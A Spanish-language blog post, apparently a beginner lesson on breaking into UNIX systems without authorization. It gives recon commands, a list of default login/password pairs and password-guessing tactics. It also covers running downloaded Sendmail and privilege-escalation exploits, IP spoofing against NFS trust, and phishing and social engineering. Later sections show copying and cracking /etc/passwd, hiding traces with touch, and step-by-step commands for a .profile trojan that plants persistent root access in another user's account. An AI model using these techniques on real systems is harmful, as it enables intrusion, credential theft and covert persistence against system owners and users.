Otro dato que nos puede ayudar (y mucho) es la versión de Sendmail que usa. Esto lo conseguimos haciendo un telnet al puerto 25 del host.


Nota: si el sistema que queremos hackear no permite hacer un telnet al puerto 25, deberemos descartar cualquier ataque vía Sendmail.

Para hacer un telnet al puerto 25 del host, escribimos simplemente esto:



# telnet <host> 25

Y nos aparecerá una línea con la versión del Sendmail.

Otra información extendida importante es saber detectar si el host tiene alguna actividad NFS. NFS (Network File System) es un sistema por el cual un ordenador puede compartir directorios con otros ordenadores, de manera que estos pueden manejar dichos directorios como si fuesen suyos. En muchos sistemas UNIX, el NFS está mal configurado, lo que supone un fallo de seguridad. Para saber si este sistema recibe directorios NFS, y si es que sí, cuáles son, escribiremos:



# showmount -e <host>

Podríamos considerar importante más información, pero con esta ya tenemos de momento suficiente.

Información complementaria

    Siempre va bien saber, por ejemplo, qué tipo de sistema es (si es gubernamental, si es una universidad...), en qué sitio geográfico está situado, cuánto tiempo lleva on-line, qué servicios ofrece, y un largo etcétera.

Hay muchos programas como por ejemplo el nmap, que se usan para saber que tipo de sistema operativo se esta usando, este programa tiene la caracteristica que nos dice hasta que version es, por
ejemplo linux red-hot 6.2 , solaris 6.0 etc,tiene a su ves funciones que no permiten al otro sistema leer
nuestra direccion ip puesto que usa una tecnica muy avanzada para peticionar la informacion, pero por
el momento no te preocupes por esto ya que deberas saber lo basico.

2 - Incursión en el sistema
    Bien, ahora que ya tenemos suficiente información vamos a tratar algunos de los métodos que se suelen usar para entrar en un sistema (los más fáciles, por supuesto).

Si ya tenemos una cuenta shell, nos basta con entrar vía telnet, poner el login y el password y ya estamos dentro. Si este es el caso, deberemos pasar a ver cómo podemos obtener root.

Pero si estamos en nuestro ordenador y no tenemos ni siquiera un login,,y no sabemos qué hacer para poder entrar, antes que nada probaremos los métodos que sólo funcionan de vez en cuando, métodos que pueden parecer anti-elitistas, pero que muchas veces nos ahorran esfuerzo mental si, de casualidad, funcionan, claro está.

Un ejemplo puede ser un rlogin . Por increíble que parezca, mi primera incursión en un sistema fue gracias a esta táctica. Simplemente escribimos:



# rlogin <host>

Y hay una probabilidad entre 100 de que entremos. Pero lo bueno es que entramos directamente como root, que fue lo que a mi me sucedió. Lo que ocurre es que, al no especificar con qué nombre (login) queremos entrar en el sistema, el comando entiende que queremos entrar como root, y como no hemos puesto password, entiende que el password es simplemente, ENTER (o sea, nada). En otras palabras, que hemos entrado con la cuenta de root sin asignar password, el root no tiene aun un password asignado, cosa que es prácticamente imposible (para qué negarlo) ¡ Pero nunca está de más probarlo !

Y otra táctica de este tipo consiste en hacer lo mismo, pero usando las "default counts", que son las cuentas que vienen por defecto en cualquier sistema UNIX, y, a no ser que el root les cambie el password o las desactive, se pueden usar. Esto es bueno probarlo porque algunas veces el root solo actualiza las cuentas que usa y las otras las deja activadas. Las default counts, en sistemas UNIX son:



Login / Password

admin - admin
sysadmin - sysadmin o admin
unix - unix
uucp - uucp
rje - rje
guest - guest
demo - demo
daemon - daemon
sysbin - sysbin
bin - bin




Las cuentas bin son muy interesantes ya que permiten la manipulación de muchos ficheros importantes como el fichero passwd.

adm - adm
nuucp - nuucp
lp - lp

Si con éstas no funciona, entonces tenemos que pensar un poco más. Vamos a ver, si el sitio al que nos conectamos se llama por ejemplo "Daddy's INC", no estaría de más probar a entrar como daddys, o daddy.

Algunos sistemas UNIX tienen una cuenta llamada test abierta, sin password, o con el mismo login y password (test/test).

En unos pocos sistemas UNIX, podemos ejecutar algunos comandos en el prompt de login. Estos pueden ser básicamente tres:



who
rwho
finger

Con lo que podemos saber si hay alguien dentro del sistema. Y, si hay alguien, ya tenemos el login de un usuario. Imaginemos que hay un tal "pepe" conectado. Probablemente, será de esos que prefiere conectar rápido al sistema y no le ha pasado nunca por la cabeza que algún hacker pueda usar su cuenta. Así que no estaría de más intentar entrar como pepe y poner como password pepe, pepe1, pp, o lo que se nos pase por la cabeza...

Bueno, como seguramente no hemos entrado en el sistema, ya nos podemos quitar las legañas y pasar a hacer algo más serio. Si seguimos fuera del sistema, tenemos varias opciones:

Explotar el Sendmail

Explotar el NFS mediante un IP Spoofing

Lo primero, consiste en usar el sistema de Mail del ordenador para obtener privilegios de root. Esto se hace aprovechando los fallos que presenta según la versión que use (ver información extendida). Así que a partir de ahora ya podemos empezar a usar exploits para hacer nuestras tareas más fáciles. Muchos no sabran de lo que estoy hablando. Así que vamos a explicar lo que es un exploit.


Un exploit:
no es más que un programa que aprovecha los bugs de un sistema UNIX determinado. Hay, por supuesto, muchos exploits, para cada tipo de sistema, y diariamente van saliendo nuevos según los sistemas se actualizan y se van encontrando nuevos fallos. Los buenos hackers saben programar sus propios exploits, pero de momento vamos a usar los que ya están hechos. Una dirección donde podemos encontrar muchos es: www.rootshell.com. Los exploits están programados en C o en shell. Y, dentro de la programación en shell podemos encontrar diferentes tipos, según el tipo de shell en que se base (BASH, PERL...). Una vez tenemos el exploit que queremos usar, debemos editarlo, leer las instrucciones que contenga (muchos contienen lineas de texto haciendo referencia a las maneras que hay de usarlo, cómo hay que usarlo para que funcione de una manera u otra, etc) y salvar sólo la parte ejecutable (ya sea en shell o en C). Si está en C tendremos que compilar el exploit. Si está en shell, basta con darle permiso de ejecución y ya está listo para usar. Poco a poco  iré hablando de las diferentes maneras de usar los exploits.

Ahora que ya sabemos lo que es un exploit, podemos ir a cualquier site y bajarnos todos los que haya referentes a la versión de Sendmail que usa este sistema, compilarlos (si necesitan ser compilados), y usarlos.

Realmente, el sistema de Mail de UNIX es muy útil para hacer fake mails, una vez dentro del sistema. Podemos hacernos pasar por cualquier dirección de correo existente.



    Es importante la organización de los exploits en el disco duro, la mejor manera es clasificarlos según: qué tipo de exploit son y a qué sistema hacen referencia.

    Bueno, los exploits locales son una buena manera de entrar directamente, pero no siempre funcionan, sobretodo porque los mismos exploits suelen tener bugs y tenemos que saber modificarlos, pero por esto de momento no te preocupes. Hay, por supuesto, técnicas más avanzadas para entrar en sistemas. Una de ellas es el IP Spoofing.

    El IP Spoofing nos permite cambiar nuestra IP.  pero ¿ Qué ganamos con eso ? Bien, supongamos que el sistema al que queremos entrar está en una subred, y, por lo tanto, se comunica con sistemas trusteds, sistemas que son "colegas". ¿ Qué quiere decir que son colegas ? Pues que están comunicados entre sí y que por lo tanto tienen ciertos privilegios (tienen acceso a directorios compartidos vía NFS). Los programas de IP Spoofing lo que hacen es (de manera simplificada), intentar comunicar con un sistema trusted (colega del sistema al que queremos entrar), hacer que no responda y en ese intervalo de tiempo alterar nuestra IP para hacernos pasar por ese sistema, de manera que ya tenemos ciertos privilegios en el sistema en el que queremos entrar.

    Lo primero que tienes que hacer para poner en práctica esta táctica es bajarte un buen programa de IP Spoofing. Mejor bájate varios por si alguno no funciona. Ahora tienes que saber cuáles son los sistemas trusteds del sistema al que quieres entrar. En otras palabras, qué estructura NFS tiene. Para esto escribe lo siguiente:



# showmount -e <host>

Por otra parte, esto ya lo tendrías que haber hecho al recopilar la información del sistema.

    Y, con estos datos, ya puedes ejecutar el programa de IP Spoofing, que seguramente lo hará todo él solito. No olvides compilarlo (si está en C) y quitar las instrucciones.

    En teoría con todas estas técnicas puedes pasarte un buen rato intentando entrar en un sistema. He dejado muchas técnicas por explicar y las que he descrito las he descrito muy por encima, porque considero que un hacker novicio ha de empezar siempre teniendo shells. Es decir, que ya conozcas de antemano alguna cuenta en ese sistema, eso facilita muchísimo las cosas. La única manera de conseguir una sino puedes ni siquiera entrar de forma anónima en un sistema es utilizar la ingeniería social. Si conoces el lugar físico en el que está ubicado el sistema, tienes que relacionarte con la gente que accede a él, robar papelillos o buscarlos en la papelera, espiar, hacer lo que sea hasta conseguir una cuenta en el sistema. El IRC puede ser un buen medio, pero también tienes que saber pedir las cosas. Internet, en definitiva, es un buen medio. Alguna que otra página encontrarás con shells. El fake mail puede ser también útil, hacerte pasar por alguna dirección importante de un proveedor de internet y enviar un mail a un usuario de ese proveedor para de alguna manera averiguar su login y password, aunque para eso tienes que estar antes en un sistema UNIX, y no todos los sistemas UNIX permiten hacer fake mails, o sea que esta técnica queda descartada. Pero si buscas información al respecto no te estará de más.

Conseguir ROOT una vez dentro del sistema

    Bien, si hemos conseguido finalmente entrar en el sistema con shell de usuario ordinario, tenemos muchas cosas que hacer. Lo primero que querremos hacer es, por supuesto, ver qué posibilidades nos ofrece nuestra cuenta.

1 - Hacemos un listado de nuestro directorio de inicio

2 - Miramos qué programas colectivos podemos ejecutar

3 - Echamos un vistazo al archivo .profile

    Nuestro directorio de inicio, dependiendo de en qué tipo de ordenador estemos estará generalmente ocupado por programas en C o documentos relacionados con carreras universitarias (si estamos en una universidad). Conviene no modificar ninguno de estos elementos, porque el usuario real de esta shell se daría cuenta de que la fecha ha cambiado. Y aún peor si se nos ocurre borrarlos. Simplemente les echamos un vistazo (si nos interesa, claro).   

    Ahora ejecutamos el comando help para ver qué programas colectivos podemos ejecutar (editores de texto, programas de mail, etc...). Y por último, no nos irá mal saber qué hay en nuestro .profile, y, si tenemos que modificarlo, no tenemos que olvidar volver a poner la fecha original (con el comando touch).
  
    Después tenemos que intentar movernos del directorio en el que estamos, a ver si podemos explorar otras áreas del sistema. Si no podemos, no hay que desesperarse. Quizás sí podemos leer ficheros del sistema aunque no podamos movernos del directorio, por eso tenemos que probar a hacer esto:



$ cat /etc/passwd

Si estamos de suerte y sale algo, pues grabamos la información en un fichero nuestro.



$ cat /etc/passwd >> passwd

Y ya tenemos el archivo passwd.

Ahora vamos a mirar más archivos importantes



$ cat /etc/hosts

    Este archivo te mostrará todos los sistemas que están en la subred del sistema en el que estás. Esto te puede ser útil porque, si te cierran la cuenta aquí, probablemente puedas intentar entrar en algún sistema de la misma subred con la misma cuenta. Si te interesa, salva esta información en otro archivo.

Ahora vamos a ver qué podemos hacer con el archivo passwd.

    Como ya sabes, este fichero contiene las cuentas del sistema. También sabes qué elementos contiene. Cuando dije que contenía el password del usuario dije que nunca aparecía tal y como era. El password puede aparecer de varias formas:
Shadow
    Cuando el password está shadow, en realidad se encuentra en otro archivo que se llama shadow, que no es visible más que por el root. En este caso no podemos hacer nada. Aparece shadow si aparece como un asterisco o una x:



Anastasio:*:1500:10:Anastasio Fernandez:/usr/anastasio:/bin/sh
Anastasio:x:1500:10:Anastasio Fernandez:/usr/anastasio:/bin/sh
Encriptado
    El password está encriptado si está formado por una combinación muy extraña de carácteres. Esta combinación no es el password en sí, sino el password encriptado. En este caso sí podemos hacer algo, es más, tenemos muchas posibilidades de descubrir de qué password se trata. Lo que tenemos que hacer es bajarnos un buen desencriptador de passwords. Yo suelo usar el John The Ripper, es un desencriptador muy bueno. Los desencriptadores suelen funcionar intentando asociar una serie de palabras agrupadas por temas a los passwords encriptados. Estas agrupaciones se llaman diccionarios y también se pueden bajar. Aunque, si queremos desencriptar bien las contraseñas hay algunos desencriptadores que hacen una desencriptación completa, sin usar ningún diccionario, prueban todas las combinaciones posibles. Lo malo que tiene este sistema es que el proceso de desencriptación puede tardar muchas horas, pero vale la pena sobretodo si tienes un archivo de passwords con una cuenta root encriptada.

    Los desencriptadores, por supuesto, funcionan off-line. Así que lo que tienes que hacer si has conseguido el archivo de contraseñas encriptado es desconectar y probar a desencriptarlo.

Una cuenta encriptada tiene este aspecto:



Anastasio:Mo54Wasl6H:1500:10:Anastasio Fernandez:/usr/anastasio:/bin/sh
Normal
    Si encuentras alguna cuenta así, te mereces un premio, porque prácticamente es imposible de encontrar. Simplemente la contraseña se muestra tal cual es.



Anastasio:juana:1500:10:Anastasio Fernandez:/usr/anastasio:/bin/sh
Sin password
    En este caso no hay password, para acceder con esta cuenta simplemente hacemos telnet, ponemos el login y ya estamos dentro.



Anastasio::1500:10:Anastasio Fernandez:/usr/anastasio:/bin/sh
Nota: Hay que tener en cuenta que si nos encontramos un espacio en blanco, un asterisco o un signo de admiración delante del password, la cuenta está inhabilitada temporalmente, eso significa que el acceso del usuario al sistema ha sido restringuido por el admin (¡ o por un hacker !).

    Bueno, crackear el archivo password es una posibilidad a tener en cuenta para conseguir acceso root, averiguando cuál es la contraseña que usa el root. En el hipotético caso de que lleguemos a saber cuál es la contraseña del root, lo que tenemos que hacer es, ante todo, no cambiarla (una vez estemos dentro como root). Después, pasar a mirar la parte de esta unidad referente a qué hacer cuando se es root.

    Si lo del archivo passwd no ha resultado, vamos a pasar a intentar buscar defectos en el sistema en el que estamos. Ya podemos ir preparando los exploits que necesitemos. Ahora bien, ¿ Con qué criterio hay que elegirlos ? Los exploits que ejecutes en el sistema tienen que cumplir siempre estas condiciones:
1 -
La más trivial, que hagan referencia al sistema UNIX en el que estás. No ejecutes un exploit para HP-UX si estás en un Solaris.
2 -
Que hagan referencia a la versión exacta del sistema UNIX en el que estás. De una versión a otra se corrigen los errores, por lo tanto un exploit para AIX 3.25 no funcionará en un AIX 4.x
3 -
Que sean lo más nuevos posibles. Los exploits aparecen a medida que se van encontrando los errores en los sistemas. Por lo tanto, hay más posibilidades que el admin del sistema no haya tenido tiempo a parchear el bug al que haga referencia el exploit. En ciertos sites como rootshell.com aparecen exploits nuevos cada mes.
4 -
Que hagan lo que necesitas que hagan. Leete qué es lo que hacen, inicialmente te interesa ganar acceso root, pues busca solo los que hagan esto. No te interesará, por ejemplo, hacer caer el sistema, ni colocar un sniffer. También habrán exploits que para ejecutarlos necesitarás ser root en el sistema ¡ Tampoco te interesan !

    No todos los exploits son iguales, eso es algo que ya hemos comentado antes. Antes he mencionado la palabra exploit local. Llegados a este punto, tienes que entender la diferencia entre exploit local y exploit remoto:

- Exploit local: tanto si está en C como en Shell, tiene que ejecutarse sin estar conectado a ningún sistema (¡ pero sí a Internet !).

- Exploit remoto: Si está en C, hay que subir el código fuente al sistema y compilarlo DENTRO del sistema. Una vez compilado se ejecuta. Si está en Shell simplemente hay que subirlo al sistema y ejecutarlo dentro del sistema.

Ahora vamos a ver cómo podemos poner a punto nuestro exploit. Debes seguir este proceso:
1 -
Descomprime el exploit si está en formato .tgz. Esto lo puedes hacer con:



# tar xfvz <nombre del archivo>.tgz
2 -
Edita el exploit.

    Te encontrarás con que algunos exploits no son más que un archivo de texto explicando cómo aprovechar un bug. Si este es el caso, léete cuidadosamente el archivo y apunta en un papel lo que te diga que tienes que hacer (normalmente te dirá que usando un comando de tal manera puedes conseguir root o leer ciertos archivos...). Otros exploits serán shellscripts, y al principio habrán las instrucciones. Tienes que leértelas bien, y guardar en otro archivo solo el shellscript (quitando las líneas de texto que sobren). Para poder ejecutarlo tienes que darle permiso de ejecución. Otros serán programas en C, en este caso si hay instrucciones, estas son ignoradas al compilar, así que no hay problema. Ya sabes que si es un exploit remoto tienes que subir el código al sistema (esto puedes hacerlo a través de una sesión FTP, usando el mismo login y el mismo password que para la sesión telnet), y una vez dentro, compilarlo (haciendo una sesión telnet) usando esta línea:



$ gcc <archivo>.c

    Y el resultado de esta operación será un archivo llamado a.out, que tienes que renombrar a tu gusto ( o ejecutar directamente con ese nombre ).

Hay exploits que son una mezcla entre C y shellscript, es decir, que una parte está en C y otra en shell. En este caso tienes que separar las dos partes en dos archivos distintos y hacer lo que ya sabes.
3 -
La última parte es ejecutarlos, esperando que funcionen. Suelen funcionar si el sistema no está parcheado al máximo.

Experimenta por ti mismo todo lo referente a exploits, ahora que ya sabes cómo utilizarlos.

    Pero recuerda, si los exploits que has seleccionado no funcionan, no hagas el tonto subiendo otros que sabes que no van a funcionar. Debes saber que todo lo que haces en un sistema UNIX queda registrado en varios logs (algo que veremos en la próxima lección), así que si en una sesión no has conseguido hacerte root, al cabo de un día tu cuenta estará cerrada porque, probablemente, el admin se habrá dado cuenta de que has estado haciendo cosas "sospechosas". Por si acaso, si te tienes que ir, no olvides dejar el directorio de inicio del usuario tal y como estaba. Si te dejas tus exploits ahí, te puedo asegurar que te van a cerrar la cuenta pase lo que pase (porque el usuario se dará cuenta y lo comunicará al admin). También he comentado que, si has modificado algún archivo ya existente, tienes que volver a ponerle la fecha que ya tenía con el comando touch.

Pero si te han cerrado la cuenta, lo que tienes que hacer es buscarte más shells y seguir practicando.

Si has conseguido nivel root, vamos a pasar a explicar qué es lo que tienes que hacer.

¿ Qué hacer una vez se es ROOT ?

    Una vez eres root, el sistema es tuyo. No hay ningún tipo de restricción, puedes pasearte por el sistema como si fuese tuyo. Es muy importante, cuando se es root, asegurarse de que nos vamos a ir sin dejar ninguna huella. Pero esto lo voy a explicar en la próxima lección. Así mismo, si queremos asegurarnos nuestra continuidad como hacker en ese sistema, tenemos que ingeniarnos algún método para que podamos entrar y salir siendo siempre root. Una manera sería hacer el mismo proceso que hemos hecho para conseguir root. Pero, ¿ Y si es un proceso demasiado largo ? ¿ Y si tenemos root y no sabemos ni cómo lo hemos conseguido ?

    Podríamos crear una cuenta con acceso root, pero el admin del sistema lo acabaría viendo. Lo que podemos hacer es usar el .profile del root para asegurarnos el futuro acceso mediante un caballo de troya.

    Muchos se preguntaran ¿ Qué es un caballo de troya ? Bueno, un caballo de troya no es más que un proceso oculto. Vamos a verlo mediante un ejemplo muy sencillo:

Caballo de troya 1
Vamos a meter un caballo de troya en el archivo .profile de un usuario normal. Nos movemos a su directorio de inicio.

Lo primero que hacemos es una copia del archivo original a un archivo temporal oculto:



# cp .profile .temp

Ahora, editamos el archivo .profile y añadimos estas líneas al final:



echo " Bienvenido, Anastasio Fernández "
echo " Que tengas un buen día. "
echo " ¿ A que no sabes cómo te están llegando estas líneas ? "

Y la línea más importante que tenemos que añadir es:



mv .temp .profile

¿Qué hemos hecho con esto?. Acabamos de ocultar un proceso, en este caso un mensage de bienvenida. El archivo original .profile estaba guardado en en uno temporal (.temp). De manera que cuando Anastasio entra en el sistema, su .profile (que es el que hemos modificado) se encarga de ocultarse moviendo el contenido del archivo temporal otra vez al archivo profile, de manera que cuando Anastasio mire en su .profile no verá nada anormal. Excepto la fecha de modificación, pero eso lo podemos arreglar añadiendo un comando touch al final del caballo de troya.

Naturalmente no es muy recomendable hacer esto, ya que a un usuario normal no le haría mucha gracia y comunicaría al admin que ha entrado un hacker en el sistema.

Ahora que ya sabemos qué es un caballo de troya, vamos a hacer el caso que nos ocupa:

Caballo de troya 2
Vamos a hacer que un usuario normal consiga root instantáneamente al entrar en el sistema.

Hacer una copia del .profile del root en el directorio de inicio de un usuario normal

Convertir esta copia a ejecutable

Hacer una copia del .profile del usuario normal a un archivo temporal oculto

Modificar el .profile para que el usuario, cuando entre:

Ejecute el .profile de root

Borre el .profile de root

Mueva el contenido de la copia de su .profile (temp) a su .profile real

Si seguiste las lecciones hasta aquí no tendras problema en hacer este caballo de troya.

Pero para los más despistados, aquí está el proceso:



# cd /root
# cp .profile /usr/anastasio/.runme
# cd /usr/anastasio
# chmod a+x .runme
# cp .profile .temp
# ed .profile


Y añadimos:

.runme
rm .runme
mv .temp .profile

    Así, cada vez que entremos con la cuenta de Anastasio, seremos root. Naturalmente también puede ser que Anastasio Fernández, el usuario real de la cuenta, entre y vea que es root. Por eso recomiendo hacer esto: salir del sistema a hacer lo que tengamos que hacer, y al cabo de un rato volver a entrar (seremos root) y no volver a hacer este caballo de troya. Si en este intervalo de tiempo ha entrado Anastasio Fernández, ya no hay nada que hacer. Pero siempre podemos pensar que hemos hecho feliz a alguien.

    Bueno, siendo root se pueden hacer infinidad de cosas. Si quieres, disfruta de tu limitado acceso root (ahora que no sabes cómo borrar tus huellas) curioseando por el sistema. No te recomiendo que borres nada. Simplemente mira a ver qué hay. Y, ahora que sabes hacer caballos de troya, puedes divertirte haciéndolos en los .profile's de los usuarios normales. Por ejemplo, puedes poner un mensaje personal si conoces a alguien del sistema.

No hay comentarios:

Publicar un comentario